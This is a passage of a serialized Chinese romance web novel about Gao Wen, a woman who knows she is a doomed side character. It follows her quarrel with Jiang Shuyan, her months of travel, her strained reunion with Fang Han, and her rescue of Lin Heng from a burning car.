“我没误会她，你看我的腿，她故意的！”姜舒妍见林思悦站在高雯那边，语气更加尖锐，“她就是想报复我，她想要针对我，对我有意见！” “她没你想的那么简单。” “舒妍姐，别说了别说了。”林思悦拉着姜舒妍赶紧往外走。 高雯站在原地，她脑海里思考着姜舒妍的话，又想到了来找她的宋洁。 宋洁想要她离开的原因，估计是怕身份暴露，但姜舒妍明显知道她的身份了，却没拆穿，而是找到她说些奇奇怪怪的话。 真有意思，都不想她好过。 高雯出了门，往洗手间走。 她准备洗把脸清醒清醒，刚开水龙头，姜舒妍就打开门出来。 看到高雯，姜舒妍没了刚刚的客气，她走到高雯身边，压低声音冷冷道：“你和你那个妈一样，满脑子都想着攀高枝，自私自利又虚荣，她现在过的日子，可不这么好。” 姜舒妍的话语里，除了气愤还有不甘。 她的人生线里，高雯本就是炮灰，下场就是凄惨死去，如今高雯抢走了她身边人的全部好感，而且还让她陷入债务危机，每天都睡不着，就连林珩，都喜欢高雯。 姜舒妍觉得就快撑不住，一切都要毁了。 “你的日子，看来也不好过。”高雯笑着看向姜舒妍，瞧着她眼下怎么都遮不下的黑眼圈，似笑非笑。 在文中，女主应该最为好看，但姜舒妍属于小家碧玉的白莲花，有气运加持的万人迷，而如今高雯气质高雅，两人站在一起，姜舒妍完全被比下去了，她被高雯说中后，一口牙都要被咬碎。 姜舒妍往外走，丢下一句：“随便你得意，反正也是炮灰。” 或许别人觉得莫名其妙，高雯却听懂了，她当场错愕。 这句话无疑在说，管你多努力多光鲜亮丽，最终都会惨死。 整个下午，高雯浑浑噩噩，她也没强撑着上课。 她说姜舒妍怎么怪怪的。 难道，她也和她一样，睡醒后知道了剧情？多了一个“前世”？ 天色刚黑，高雯就收拾东西，准备回去。 林思悦看着她：“雯雯姐，对不起，早知道我就不会让她过来上课。” 她已经道了很多次歉，高雯也说没事，但她还是很内疚。 林思悦也不知道姜舒妍来上了一次课，就变成这样了。 大家上课都这样啊，都很疼的。 林思悦以前觉得姜舒妍落落大方，识大体，这件事简直让她滤镜碎了一地，怎么跟个泼妇一样？ 她居然有些庆幸林珩没和姜舒妍订婚。 “和你无关，别自责了。”高雯笑了笑，往外走，“明天见。” “拜拜。” 高雯刚出门不远，正准备过马路的时候，看到了路边的林珩。 她心累到不想打招呼，只当没看到，转身往另一边。 “高雯，我有话跟你说，”林珩追上来，“我听小悦说……” 他还想继续说，高雯板着脸道：“我不想再和你接触，随便你怎么想。别跟着我！” 尾音未消，高雯快步走了 方寒傍晚的时候给高雯发了消息，等到了晚上十点钟，她都没回。 等到十一点的时候，他没忍住，给张妮发了消息，想问问高雯是不是还在上课。 张妮回了电话，有些诧异：“她六点就走了啊，今天发生了点事，她下午都没上课。怎么了？” “发生什么事了？”方寒追问。 张妮不在馆里，只知道大概。 方寒听了之后，匆匆挂掉电话，他给高雯打了电话，那一边显示关机。 他心一下提到嗓子眼，连忙出了家门。 第60章 第60章 方寒下了楼，不断给高雯微信…… 方寒下了楼, 不断给高雯微信发消息，一路沿着小区的道路一直找。 小区找了一圈，都没发现高雯身影。 此时, 已经十一点半, 很晚了。 方寒急得火烧火燎，高雯一般不熬夜, 这个时候应该回来了。 他生怕出事，又往小区外跑去。 另一边。 高雯一动不动坐在椅子上，看着远处的人群, 听着隐隐约约的喧闹声。 她坐在这里已经五六个小时了，维持着一个姿势。 她想好好活着, 过得好，可她好像有自己的“宿命”, 好像无论多么努力, 都逃不过。 高雯光想想, 内心泛起绝望，眼神随即暗淡下来, 只觉得胸口被石头压着, 焦虑迷茫的情绪一团团把她包围。 “啪——” 路灯到点关了。 高雯本身就坐在离公路较远，路灯一关, 四周变得黑暗起来。 丛林里, 好似有无数只手伸出来，要把高雯往深渊里拽，她浑身的力气慢慢被一点点抽离, 只剩下恐惧快速蔓延。 就在高雯觉得喘不上气时，她的面前出现一个人影。 “这么晚了，你怎么一个人跑这来了？”方寒气喘吁吁, 话语却依旧温柔。 那一瞬间，高雯感觉胸口一松，整个人都回神了，她抬眸，看着方寒。 夜色暗，她看不清他的脸，但她知道他很着急，不由觉得有些鼻尖发酸。 姜舒妍说宋洁抛弃她是来A市照顾姜家人时，内心只是悲凉，姜舒妍说她下场凄惨，不过是炮灰，她也没哭，只是觉得不公，看到林珩，她察觉到了什么，只是气愤。 但高雯看到方寒到处找她，眼眶一下就胀了，她有点想哭。 方寒走过去，坐在高雯身边，他礼貌和她保持了一定距离：“手机怎么关机了？” “没电了。”高雯编了个理由。 方寒信了，点了点头。 高雯看向他：“你怎么知道我在这？” 她真的很好奇。 “你的生活轨迹很简单，每天两点一线，就固定瑜伽馆那一条路，除此之外，就这条路了吧，我们来过几次，我就来看看。”方寒看着不远处的夜市轻声说。 这是小区的另一个方向，有个小吃夜市，还有条小巷，一路走不远就是生鲜大超市。 方寒不说，高雯自己都没料到，她低头笑了笑，“生活轨迹简单，人不简单。” “人也很简单。”方寒接话。 高雯抬眸，自嘲道：“你可能不了解我，我是一个不择手段想要往上爬，自私自利，贪慕虚荣，冷漠绝情的人。” “你可能对自己有误解，”方寒侧着身体看向她，语调肯定有力，“你是一个很简单的人，你的目标就是让自己过得更好，这一点没有任何错，是你对自己的道德感要求太高。你没有伤害任何人，没有人能评判你，你是个很心软很善良的女孩。” 高雯听着方寒对她的评价，眼眶里的泪水肆无忌惮落下来，肩膀不断地颤抖，带着极力按捺的哽咽。 方寒见她哭了，面色慌张，手忙脚乱起来：“我是不是说错什么？” 高雯倾身，抱住方寒。 他的身子骤然僵住，心口狂跳不止。 方寒察觉到脖颈处的湿润，带着灼烧的炽热，他抬起手，笨拙拍了拍她的肩膀，一下又一下，静静陪着她。 她肯定受了很多委屈，他很心疼的，却不知道该说什么安慰。 高雯松开方寒的时候，叫了他一声：“方寒。” “嗯？”方寒声线温和清缓。 高雯吸了口气，笑着道：“你是一个很好的人，特别特别好的人，真的特别好。”她说的时候，眼眶泛起泪花，连忙站起身来，“我们回去吧，我饿了。” “你想吃什么？”方寒问。 “就做葱油拌面吧，上次就说要吃，一直耽搁着，还没吃到呢。”高雯呼着气，甩动着手往前走。 方寒提醒：“路太黑了，慢点。” “嗯。”她回头看他，笑容明艳道，“快点啊，回去了。” “好。” 两人回来后，方寒进了厨房，高雯跟了进来。 “要不你出去等吧？这里油烟大，一会还要爆葱油。”方寒说。 “没关系，我也还没洗澡。”高雯摇头说。 方寒见她坚持，就没再说，他只是走到冰箱，从里面拿了一杯牛奶，加热后给她。 她都没吃东西，垫垫肚子。 “谢谢方大好人。”高雯靠在厨台边，小口喝着牛奶，看着方寒忙碌的身影，柔声道，“你是一个本质特别好的人，内心富足，情绪稳定，谁和你在一起，都会很踏实安心，因为你自己就能把生活过得很好。” 方寒听着她这么多赞美，突然想问：那她要不要和他在一起？ 高雯继续道：“你肯定会无忧无虑度过这一生，这样挺好的。” “你都给我下定论了，不过这样的日子也不错。”方寒笑。 “真的。”高雯点头。 剧情里，方寒除了被她伤害，还真没受过什么挫折，过得挺好的。 “稍等，马上就好。”方寒加快动作。 十分钟后，一碗葱油拌面就做好了。 “味道好香啊。”高雯看着面前的葱油拌面。 “尝尝。”方寒说。 “嗯嗯。”高雯尝了一口，不断点头，“很好吃，比我吃过的都好吃。” 方寒看着高雯一口接着一口，望着她的目光充满了爱怜。 时间很晚了，高雯吃完面，两人也没在客厅待多久，便各自回房间。 高雯进房门前，方寒还有点不放心叮嘱：“你有事就给我打电话，不要怕麻烦我，我不会觉得麻烦。” “好。”高雯乖巧点头，露出一抹笑。 “晚安，好好睡一觉，明天就会好起来了。”方寒说。 “嗯。” 高雯一关门，卸下了伪装。 今天的事情不断在脑海里重现，她只觉得呼吸越来越困难，一阵恶心袭来，捂着嘴，往洗手间跑去，伸手关了门。 次日。 方寒请了假，早上没去公司。 他不放心高雯。 房东把说他把合同准备好了，但没空送过来，方寒去拿了，准备让高雯签了再给对方邮寄过去，顺便去买了她喜欢吃的早餐。 高雯昨天熬夜睡得晚，他想让她多睡一会，就一直没叫她起床。 等到了中午十二点，他担心她胃受不了，这才来到门前，想要叫她起床。 “高雯？” 没人应。 “高雯？你醒了吗？”方寒又轻轻敲了敲，他把手机拿出来，给她发消息。 太过于担心她，方寒想了想，打了个电话。 电话那头，冰冷的机械声传来：“您拨打的电话已关机——” 方寒心里出现不好预感，他把手放在门把上，轻轻一旋，门就打开了。 她没锁门。 方寒把门推开，里面空了大半，钥匙被放在显眼的书桌上，下面还压着一张纸—— 作者有话说：补一更，明天的更新依旧下午六点再更哦。 晚安哦。 60-70 第61章 第61章 你这一次离开，和方工有关系…… 高雯走了。 就这么悄无声息离开, 方寒都不知道她什么时候离开的。 她的视频号停更，语禾瑜伽馆的视频号也再也没出现她的身影，网友众说纷纭, 有人说她怀孕生子去了, 有人说抑郁退圈了，更有人说出了意外一个星期后, 她的视频号更新一条动态：感谢关心，在好好生活，勿念。 之后没再更新过动态。 期间, 高雯拍摄的几个内观流的视频再一次火了，她的视频号粉丝突破三百万, 她本人引起了不少网友的兴趣，有人还专门发帖问她去了哪。 十一月底, 一名ID叫“就爱睡觉”的网友接贴评论：【是她吗？当时就觉得美呆了, 随手拍的。】 他还配了一张图。 图片上, 高雯站在一群斑马和长颈鹿之间，举着一顶草帽, 正在喂动物, 她清眸灵动，冲着摄像头笑容明媚。 下面立刻热评点赞不断： 【靠, 的确是美呆了。】 【她跑国外去了啊, 看大草原看动物去啦？】 【视频不更新了？我以前每天都要看她护肤直播的！什么时候恢复更新啊？】 【说实话，去到那边还是蛮震撼的，不过我是分手后去的, 一下就豁然开朗了，她是发生了什么事吗？】 由于这个帖子太火了，高雯哪怕不更新动态, 时不时也有网友替她更新。 高雯去了一趟非洲回来，就在国内了。 她一般一个星期换一个城市，从海城，再到古都安城，又到疆城，漫无目的。她多数走走停停，欣赏美景和沿途的风景，也会在咖啡厅或者当地的书店静静坐上一天。 高雯并不知道自己被偷拍，她很久没上网，隔绝网络，真的在好好生活。 搬离出租屋后，高雯留下一张纸条，厚颜无耻拜托心善的方寒替她和下一任房客说一声，里面的东西她就不带走了，看得上的对方可以留下来，看不上的，麻烦丢掉就好。 她买的各种实木柜子和小家电，还有未拆封的生活用品很多，就当酬劳了。 在高雯熟知的剧情里，所有人对方寒印象很好，她是他唯一的污点。 她深知，不能再和他纠缠了，一切就终止吧，她这个炮灰的结局是怎么样，她自己都好奇。 高雯在酒店住了三天，睡得昏天暗地。 第一次不用那么紧绷着生活，不对自己提那么高的要求。 反正最后都会下线，她为什么要为难自己？ 这几年，高雯一直在努力赚钱养活自己，从没有松懈过一天享受生活，好好看过这个世界，就当她是这个世界的背景板好了，那她就要停下来好好感受生活，何必那么累。 高雯租了一间小公寓，带着简易的行李，先去了国外一圈，就去她一直心心念却不敢去的大草原看动物迁徙。 总有网友隔三差五遇到高雯，替她更新一条动态，汇报一下她的行踪。 高雯自己浑然不知，她此时在延城湖边，一位残疾大爷正在拉二胡卖艺，她走过去，从包里拿出好几张零钱，默默放在大爷前面的碗里。 大爷抬头，冲她点头笑得慈爱，指了指自己的喉咙，继续拉着。 不仅是个残疾大爷，还是个哑巴，这样的人，都在努力活着。 高雯走到不远处，坐下来听。 今天天气不错，出了太阳。 高雯正在晒太阳，突然发现两个女生正看着她交头接耳，见她看过来，有些紧张。 两人与高雯眼神对视的时候，高雯微微歪了歪头，笑得恬静温柔。 她这一笑，两个女生朝她走了过去。 高雯疑惑，还以为对方要问路，结果两人开口：“雯雯，我们能合影吗？” “和我吗？”高雯有些诧异，指了指自己。 见对方能如实叫出她的名字，更加疑惑。 “嗯，我们今天早上在亨源街就看到你了，没好意思打招呼，现在又看到了，觉得是缘分。”其中一个短发姑娘开口说。 高雯站起身来，笑着问：“你认识我吗？怎么知道我叫什么名字。” 她觉得自己还没火到这种地步，一直把自己当普通人，突然有一天陌生人能叫出自己的名字，还要求合影，让她有些小吃惊。 “认识啊。” “我特别喜欢你拍的瑜伽视频，但我没练过，我回去就买课练！” “你在网上很火的，不过你好像不知道。” 高雯和小姑娘拍完照，短发的小女生还送了她一瓶彩虹糖，出言道：“我看你视频的时候，觉得特别有动力，你身上有一股我不知道如何形容的活力，很能感染人。虽然我不知道你遇到了什么事情，但你要开心。” “还有，你特别好看，真的好漂亮啊。” 两个小女生离开后，高雯看着手上的那一瓶彩虹糖，勾起了记忆。 高雯重新坐回台阶上，她打开手机，登上了社交软件。 大数据非常精准，直接给她推送了跟拍她的帖子。 最新一条帖子，是她刚刚给拉二胡的大爷捐了钱被拍下来，网友附言：【刚好看到，本人的确白得发光。】 高雯左右看了看，精准锁定不远处的一位小伙子，他还牵着一只白色萨摩耶。 小伙子发现她看过来后，心虚绕了绕头，摆摆手算是打招呼。 高雯笑了笑，没说什么。 她打开自己的视频号，发现粉丝快破四百万，也是愣了愣，她都多久没更新视频了，都做好掉粉的准备，没想到粉丝居然还增加了，这是什么道理？ 不知不觉，高雯发现自己离开A市三个月。 时间过得很快，又好像很慢，感觉已经过得很久很久，她走了很多地方，尝试了很多自己以前不敢尝试的事情，真实触摸过狮子、潜过水、爬过雪山，也静静坐在海边发过呆。 高雯只是想看看，这个世界是否是真实的。 答案是肯定的。 这个世界真实可触摸，她所有的经历和感受，都藏在她的记忆里，没有忘记。 高雯看着论文群里发的消息，过年前，导师要让他们回学校开会，进行初步定稿。 她看了看手里的彩虹糖，买了一张今天晚上回A市的机票。 回来前，高雯提前让阿姨去公寓打扫，等她回来，在家睡了一天。 第二天。 高雯吃饱喝足，换了一身休闲装，去了语禾瑜伽馆。 “这么忙啊？”高雯一进门，就看到正在前台忙得不可开交的张妮。 她一出声，张妮本能接话，下一秒抬头见是她，瞳孔地震，久久都没回神，拔高声调：“你这，你什么时候回来的？” 她说着，走出来上下观察高雯：“消失了几个月，也没见你胖啊，怎么感觉还有点瘦了？” “有吗？”高雯笑。 “有啊，”张妮拉着她到一边坐下来，“你可是潇洒了几个月，玩得开心吧？” “还行。”高雯笑意不减。 “玩得开心尽兴了，什么时候回来上班？”张妮说着扶额，“会员是天天问，尤其是胡阿姨，你没上课后，她也没来上课，只是隔三差五来问你回来没有，她可是只上你的课。” 张妮并不清楚很多事情，只当高雯这段时间工作太累，被她们“压榨”太狠，想要出去散散心。 闻言，高雯笑容变淡，她收敛神色，转移话题问：“小悦呢？怎么没看到她？” “她啊，”张妮拧了眉，“她一个月没来上班了。来上课那个姜舒妍和他哥林珩，其实就是长辈看好的一对，原先都说要订婚，后面又不订了，那个姜舒妍不知道从哪欠了很多钱，她这傻姑娘，替人签了二百多万的担保协议，捅了一个大篓子。” “她很内疚，觉得是她害你不来上课了，我安慰的话她都没听进去，哭了好久，后来那件事暴雷，她也请长假了。” 高雯微微瞪眼：“什么？” 姜舒妍让林思雨担保两百多万？ “说是投资亏了，又说不出来做什么生意亏了，正在查，姜舒妍要死要活的，这女的是真能作。”张妮摇头。 高雯：“那怎么办？” “肯定要先还啊，林家还。”张妮对林家经济情况还是比较了解。 林珩如今还没创业成功，林家就是中产水平，住在市郊的别墅，那套四合院是林爷爷留下的，也就是一套小四合院，加上家里有两套房，资产看起来很多，都是房产，没到拿出几百万不眨眼的地步。 高雯有点小担心林思悦，不过林珩会替他这个妹妹解决的，毕竟是男主，林家也能兜底。 “雯雯，”张妮看向高雯，斟酌了下开口，“你这一次离开，和方工有关系吗？” 高雯眼底深处闪烁了下，她摇着头否认：“没啊，怎么了？” “既然都没在一起，他怎么反应这么大？”张妮忍不住道，“他去找你了。” 高雯怔住。 张妮：“网友不是会在网上发偶遇你的照片吗？他真的去了几次，我老公说他整个人就跟丢了魂似的，经常失神，不知道的还以为他失恋了。” 听言，高雯能感受到内心强烈的波动，怕情绪暴露，低着下头：“我不清楚。” 这几个月，她拒绝接受消息，尤其是关于方寒的任何消息。 她一点都不想知道。 “我觉得，他是真的很喜欢你吧，所以才担心你，不过感情的事情，也不能勉强。” 张妮遗憾说完，就有两个会员走进来，她们看到高雯，立刻道：“雯雯老师回来了？什么时候开课呀？” 第62章 第62章 高雯去语禾瑜伽馆的次日，就…… 高雯去语禾瑜伽馆的次日, 就开始上课了。 有很多会员是冲着她来的，还专门报了她的课，高雯离开前和徐眉说了, 接受退费, 也可以换成其他老师的课，令她诧异的是, 退费的人很少。 再怎么样，她都得把应该做的事情做完。 前台小姑娘在群里一发消息，高雯第二天的课, 直接约满。 高雯看着后台的约课，胡虹约了早上七点。 天气冷了, 最早的一节课就是早上七点到八点。 高雯将手机放在一边，躺在床上, 盯着天花板发呆。 她这三个月, 染上了失眠的毛病, 经常整宿整宿没睡，然后日夜颠倒, 挺痛苦的, 并不潇洒。 张妮说，方寒去找她了。 高雯的确不知道, 她也不敢知道, 不知道该怎么面对，她的确是个渣女，难怪被人人厌恶, 自私自利只顾自己。 一直到半夜，高雯强迫自己早点睡，明天还得早起。 她迷迷糊糊睡着了, 睡得并不好。 天都没亮就起床，再也没了困意。 高雯早起到瑜伽馆时，胡虹已经在外面等着了。 “您什么时候来的呀？”高雯快步走上去，连忙开门让胡虹进去，外面冷得很。 胡虹没接话，她一直看着高雯，语 气满含担忧怜惜：“雯雯，你没事吧？我听她们说，你心情不好，所以去旅游了，是不是工作压力太大了？” “就是去转转，没别的事情。”高雯笑，走到茶水间将茶放在上面煮，“您稍等我一会，马上就好。” “没关系，你慢慢来。”胡虹将保温盒放在桌子上，“你吃早餐了吗？我给你带了。” 高雯动作稍顿，“谢谢，您费心了，下次就不要这么麻烦了。” “你没吃吧？现在连早餐都忘记吃啦？”胡虹走过去看她，“你都瘦了，本来就瘦，再瘦就剩下骨头了！那样不好看，不要减肥，对身体不好。” 高雯的确很久没正常吃早餐了，生活作息被打乱得一团糟。 她笑着点头：“好，我下次注意，努力多吃点。” 胡虹笑眯眯：“你真是听话的乖孩子。” 她的话语充满了慈爱，真心夸奖，高雯心脏重重跳了两下，是陌生异样的感觉。从小到大，她无论做得多好，获得多么大的成就，都没被人这么肯定过。 一件小小的事情，胡虹夸得她都不好意思了。 “您进来吧，我听她们说您这段时间都没来上过课，我估计您又要吃不少苦头了。”高雯往私教教室走，提醒道，“您放心，我不会手下留情。” “没关系啊，我喜欢你。”胡虹小跑跟在她身后，笑容满面。 高雯看着她，心头一热。 胡虹和方寒不愧是母子，给她带来的感觉一模一样。 一节课很快结束，高雯没有时间和胡虹叙旧，下一个会员就来了。 她又投入了繁忙的工作中。 直到午休，高雯才闲下来，有两个小时的休息时间。 她很庆幸，自己对这一份工作还热爱，还有热情，心境并没有太多改变。 想开点，大家最后都会死了，活着就尽量活得精彩。 “中午吃什么？”高雯走到前台，笑着问张妮。 “我们吃麻辣香锅，你吃好吃的。”张妮接话。 “嗯？什么好吃的？减脂餐吗？”高雯说完无奈，“我最近都瘦了，暂时可以不吃减脂餐。” “不不不，”张妮拿出一个袋子，“这是胡阿姨刚刚送过来的，说是给你的，让你好好吃饭，少吃点外卖不健康。” “她呢？”高雯追问。 张妮：“逛街去啦，你不在的这段时间，她每次来都一脸失望，刚刚笑呵呵过来的，说她要和老姐妹逛街去了。” 高雯看着那个袋子。 她拿到休息室打开，最上面一盒是水果，洗好的草莓、切好的橙子，还有剥好的柚子，还有一个大青枣。 保温盒也有三层，都是家常菜和一个汤。 高雯原本只是感动，她喝汤的时候，发现里面有冬虫夏草，心里像是被扎了一下。 方寒说过，这是胡虹让他托人买的，他还说过胡虹为什么还没给她炖汤喝。 高雯深吸了口气，继续吃饭，拿过手机给胡虹发消息，让胡虹下次不要给她送饭送早餐，太麻烦她了。 胡虹发了一条语音过来：“我可不是想贿赂你当我儿媳妇，我就是单纯喜欢你，和方寒没关系。乖孩子，你要好好吃饭。” 高雯看到这句话，各种复杂的情绪翻涌而来，眼眶干涩到发痒。 她还没说原因，胡虹就知道她在想什么。 高雯认为自己不是一个感性的人，她很自私清醒，凉薄又冷漠。 可这段时间，她却总是控制不住情绪，那种感觉有些无力。 “雯雯姐，张姐说一点到两点想过来上课，问你要不要给她加一节课？”前台小姑娘探出头，笑着问。 高雯点头：“你让她过来吧。” “好的。” 高雯一直忙到晚上十点才下课。 她让前台小姑娘先回去，下完课，她简单收拾了私教教室，换了衣服，穿上羽绒服和鞋子，关门往外走。 外面有点下小雪了，纷纷扬扬。 高雯刚走出门口，就看到了树底下那一抹身材颀长的身影。 仅一眼，都不用看清脸，她就知道是谁。 她没看第二眼，转了身，朝另一个方向走，不断加快脚步，甚至都有些小跑起来。 高雯绕过了其中一栋写字楼，继续往前。 她走了很远，这才回头，顿时停下了脚步。 方寒与她隔得不远不近，就那么跟着。 再跟下去，都快跟到她居住的小区了。 高雯干脆在路边的椅子上坐下来，方寒慢慢走过来，坐在她身边，他侧着身子，默默看着她，轻声关心问：“你还好吗？” 他没有问她为什么突然不辞而别，不接他电话，也没回他消息，而是先关心她好不好。 高雯把头埋得很低，点了点头。 “那就好，”方寒浅笑，嗓音温柔，“我就是担心你，没别的意思。” “那你看到了，我好得很。”高雯抬头看向方寒，他瘦了很多，一眼就能看出来，下巴尖了。 方寒：“瘦了一点吧。” 高雯语气故作轻松：“你好像也是，可能太久没见了，就会有这种感觉。” 方寒笑：“可能吧。那间房子没租出去，你的东西都还在，要不要打包好，你来取？” 他知道她不想让自己知道她住在哪，又说道：“或者，让搬家师傅去搬？” “忙过这段时间我再过去收拾，麻烦学长了，”高雯突然笑开，轻松调侃道，“我太任性，所以不辞而别，跑出去旅游了，玩得还算开心。” 方寒没接话，漆黑深邃的目光一直看着高雯，那双清澈明亮的眼好似一下能把她的想法看穿，她极力伪装的盔甲正在一一被击穿。 高雯笑意渐收，躲开他的视线，站起身来急急道：“今天很晚了，我太困了，不能陪你多聊，下次有空再聚。” “什么时候？”方寒追问，“下次什么时候？” 高雯看着有些固执的方寒，含糊道：“等到我不忙的时候吧。” 方寒往前走一步，垂眸看着高雯，他想问问她，上一次她说谁和他在一起，都会踏实安心，他想问问她，她愿不愿意和他在一起。 高雯这一次消失，方寒更明白自己的心。 他不是很喜欢很喜欢她，他爱她。 看到空无一人的主卧，方寒那一刻就感觉呼吸不顺畅了，跑下楼找了一圈，一遍又一遍打着她的电话，失控般把电话打给所有和她有关的人。 就想找到她，害怕再也见不到她。 高雯消失了多久，方寒就痛苦了多久。 他一直一遍遍看她以前的视频，知道她很好，他应该安心的，却还是忍不住在知道她的消息的时候，第一时间就赶过去，希望能遇见她。 但是一次都没有。 方寒有太多话想要和高雯说，却在看到她眼里的生疏陌生后，硬生生忍住，点了点头道，“那就等你不忙的时候吧，我们去吃个饭，怎么样？就当你不辞而别的赔礼道歉。” 高雯有些迟疑，在方寒注视下，应下了：“好。”说完后，高雯往一边走，“我先回去了。” “嗯。”方寒没有再跟上前。 他非常清楚，他如果把话问出来，他们之间，可能连朋友都做不成。 也没有了见面的理由。 这个结果，他不想接受。 高雯走了一段路，要过马路的时候，回头看了眼方寒。 他没在了。 高雯内心有点失落，也是了，她这么绝情，都不太搭理他了，他为什么要死缠烂打。方寒也有自己的骄傲。 这不是她想要的结果吗？ 就这样吧。 高雯加快脚步，往马路对面走。 在她看不见的地方，方寒目视着她的身影，站在原地很久很久，直到没看见她的身影了，他都没舍得离开。 当天晚上，两人齐齐失眠了。 方寒拿着还未送出去的项链走到高雯住的房间，慢慢坐在她的床上，默默发呆。 另一边，高雯则坐起身，靠在床头用力拍打自己的胸口，压住喘不上气的不适感，太难受了，睡不着又实在是很想哭，要拼命压抑住的想哭。 她都感觉，是不是剧情马上快进到她焦虑抑郁阶段？ 真是可怜的炮灰，逃脱不了的命运齿轮。 死之前，她一定得把事情都处理了，那么多课，她得上完，论文还没交，怎么着也得顺利毕业，不然她可只有高中文凭！！！ 第63章 第63章 你回来找方寒啊？ 高雯这一次租的小公寓, 就在隔壁小区。 比起和方寒合租那边只住一个主卧，这一次是一室一厅，还有个小阁楼能当衣帽间。 价格当然不美丽, 接近一万一个月。 可以说, 这是几个月前，高雯一直梦想能有钱租得起的梦中情房。 现在搬进来了, 发现不过如此。 衣帽间很大，高雯却已经没有那么多衣服摆放，她现在穿的衣服大多是休闲服和瑜伽服。客厅装修是网红风格, 她很少在客厅待着，厨房更是一次都没用过, 总有一种很孤寂的感觉。 以前，高雯独来独往这么多年, 从来没发现自己是爱热闹的。 她加班到很晚回到小公寓, 甚至能感觉到令人窒息的冰冷和想要逃离。 小公寓离语禾瑜伽馆更近, 过个马路就到了。 胡虹今天上的是下午的小课，高雯可以晚一个小时到瑜伽馆, 她七点四十分才慢悠悠出发, 出了小区门口，正准备过马路, 发现前面围了几位大妈, 正在讨论什么。 高雯好奇望了两眼，发现是一辆黑色的奔驰撞到了树上，车头都扁了, 空气中都是浓烟和汽油味。 大妈讨论激烈： “前面的大货车不让道，不撞上去就要撞到前面的小车，那里面还有婴儿, 这辆车身一闪，就撞到树上去了！” “不知道人怎么样了。” “哎哟，别过去，危险啊。” 高雯柳眉一拧，只犹豫了一会，就快步冲到被撞到车头变形的奔驰门前。 车门被撞扁，难以打开，车内的安全气囊全部弹出来，副驾驶座上的人应该是被撞晕，靠在方向盘上。 高雯在路边找到一个砖头，来到车子后座，瞄准车窗边缘，大力砸下去。 “砰——”的一声，玻璃爆碎，碎片飞溅，不过因为是后座，远离了伤员，高雯也做好防护，并未造成什么伤害。 现场围观的人群倒是吓一大跳，好些人连忙往后退，更有些人怕发生爆炸，立刻逃离现场。 高雯打开车门后，立刻尝试要从后座进入，她小心翼翼避开玻璃，伸手去打开驾驶座的车门，发现还是难以打开。 她只能从后面伸手，先把昏迷的伤员额头扶起来按住，手拖着他的下巴，确保他气道打开，呼吸顺畅，防止窒息风险。 一位壮汉大叔见高雯一个弱女子都这么勇敢，立刻挺身而出：“我能帮什么忙吗？” “麻烦打电话叫辆救护车，让他们立刻赶过来。车祸现场只有一名男性伤员，目前陷入昏迷，暂时不清楚伤势。”高雯冷静说完又道，“我们尝试下能不能打开车门，车子漏油了，很危险。” 壮汉大叔身后的小伙子走到一边打电话，壮汉大叔来到驾驶座，正在大力开门。 高雯也伸手往外推。 变形的车门被一点点打开。 壮汉大叔体格大，哪进得去。 高雯走到驾驶座，她这才看清了驾驶座上的人，眼底震惊呆滞。 她刚刚都是从后面操作，着急救人，压根没看清伤员的脸。 与此同时，林珩悠悠转醒，额头都是血迹。 他看到了熟悉的身影，虚弱喊了声：“高雯？” 高雯看着林珩那张脸，顿时无语。 她的脑海里涌入一段记忆，她想起来了，这是剧情中比较经典的一幕。男主林珩出了车祸，女主姜舒妍赶到，凭纤细瘦弱的身体将他艰难救出来，又在医院悉心照料。 自那以后，两个人的感情突飞猛进，怀孕生子一条龙。 高雯快速在周围看了一圈，想要找姜舒妍，按照文中剧情，对方应该出现才对。 姜舒妍见高雯抬头望过来，赶紧躲在墙面后。 她看着不断升起的浓烟，脚步怎么都迈不出去。 高雯消失的这几个月，她过得相当糟糕。她没什么赚钱头脑，直播赚不到钱，账号都要搞废了，骂声不断，欠的钱利滚利，她让林思悦担保的事也暴雷。 姜传文知道姜舒妍把一套房卖了，气得破口大骂，说那是给她的嫁妆，给她抬身价用的，林家对她更是大为改观。 姜舒妍是面子里子丢个遍，只能寻死觅活，让所有人都闭嘴。 她在等，等林珩这一次出车祸，她好出现救他一命，然后细心照顾，生米煮成熟饭后嫁入林家，这是她的翻身之仗。 剧情里说，车子不会爆炸。 但万一爆炸了呢？ 姜舒妍实在怕死，但她更怨恨及时出现的高雯。 高雯怎么又回来了？！ 又要抢她功劳！ 车内。 “嘶——”刚要移动身子的林珩，疼得五官扭曲，冷汗直流。 高雯想到林珩刚刚是为了躲避带着婴儿的小车才撞到树上，她做不到一走了之，她看着林珩不断流血的两条腿，深吸一口气，弯腰上前，“救护车马上就来了，在此之前，我们必须尝试离开车，转移到安全的地方，不然太危险。” “嗯。”林珩看着她，刚要说话，高雯就道，“别说话，保存体力。你的腿受伤了，移动会有点麻烦，但请配合，不然会造成二次伤害。” 林珩目光深深望着她：“好。” 高雯率先从包里拿出她的瑜伽服，利落撕开，蹲下来，在林珩受伤腿部的上端，迅速缠绕捆绑，做好之后，冷静指挥着壮汉大叔和两个小伙子，安排指令。 三人统一行动，从车内将林珩平移拖出，移动到由一张毛毯拉起的垫物上。 几人才将林珩平抬到不远处，“砰——”一声，汽车发生了大爆炸，燃起熊熊烈火。 刚走不远的几人脚步顿住，眼睛瞪成铜铃，往后看去，只觉得一股脚底泛起冷气，直冲天灵盖，身子都哆嗦了。 看着阵势，再晚一点，别说车内的人了，就是他们这几个在外的人，都得跟着丧命。 姜舒妍愣住，庆幸自己没上前，这要是晚一点走，都要被炸飞了。 而高雯身子也定住。 她看着燃烧着的大火，把车都要烧成骨架。 剧情里，车子并未发生爆炸，这一幕，和剧情里是不一样的。 高雯在想，难道是因为出现的人是她，而不是姜舒妍？ 这是不是说明，剧情也会改变？ 林珩被几人放在远处的路边，他们看向林珩道：“哥们，你的命是真大啊，硬生生捡回来的啊。” “对啊，不是被我们捡回来的，是那位小姑娘！” “咦，那位漂亮小姑娘呢？” 林珩在爆炸发生后，后背也是冷汗直流，呼吸粗重急促。 谁不怕死，那是硬生生烧死的。 等林珩回神，高雯已经不见了身影。 他眼底流露出失落。 人群不断围上来，被当猴子围观的感觉，让林珩心里一阵烦躁，他拧着眉，下一秒，他就见高雯从人群中挤进来，她手上拿着几根木板。 林珩看到高雯，身子动了动。 “别动！”高雯沉声严肃说，她走到林珩身边蹲下来，又拿出一件瑜伽服，撕开后开始给林珩处理骨折的腿。 她利用木板当夹板，瑜伽服包裹在树枝和肢体接触部位，撕开的布条当成绳子，一圈圈缠绕着，帮林珩固定受伤骨折的腿。 “我先帮你固定，如果脚趾有麻木或者刺痛，又感到冰冷和其他不适，你要及时说。”高雯抬眸看了眼林珩，认真叮嘱。 